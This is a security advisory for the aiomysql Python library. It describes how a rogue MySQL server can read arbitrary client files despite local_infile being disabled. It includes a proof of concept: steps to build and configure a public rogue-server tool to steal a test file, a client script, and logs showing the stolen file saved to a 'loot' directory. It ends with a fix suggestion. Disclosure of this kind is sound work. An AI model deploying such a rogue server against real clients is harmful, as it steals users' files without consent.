aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server

Summary

The client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server.

Details

It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503.

PoC

First, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client – tested with https://github.com/rmb122/rogue_mysql_server

1. Create a file to be stolen by the rogue server: echo "gotcha" > /tmp/my_secret_file.txt
2. Clone the repo: git clone git@github.com:rmb122/rogue_mysql_server.git && cd rogue_mysql_server
3. Build the server: make rogue_mysql_server
4. Generate a sample config: rogue_mysql_server -generate
5. In config.yaml change file_list to ["/tmp/my_secret_file.txt"]
6. Run the server: ./rogue_mysql_server -config config.yaml

Next, the vulnerability can be seen in action with the following script, which can be run in a second terminal:

import asyncio

import aiomysql


loop = asyncio.get_event_loop()


async def test_example():
    conn = await aiomysql.connect(
        host="127.0.0.1",
        port=3306,
        user="root",
        password="",
        db="mysql",
        loop=loop,
        local_infile=0, # note that we explicitly forbid local_infile
    )

    cursor = await conn.cursor()
    await cursor.execute("SELECT 1")
    print(cursor.description)
    r = await cursor.fetchall()
    print(r)
    await cursor.close()
    conn.close()


loop.run_until_complete(test_example())

The rogue server will output log messages indicating successful file read and save the contents in the loot/ directory

level=info msg="Client from addr [xxx], ID [1] try to query [select 1]"
level=info msg="Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]"
level=info msg="Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]"
level=info msg="Client leaved, Addr [xxx], ID [1]"

Impact

This vulnerability impacts products and environments that require connection to untrusted MySQL servers or allow the possibility for them to be compromised.

Fix suggestion

Can be fixed by porting relevant changes from PyMySQL – https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267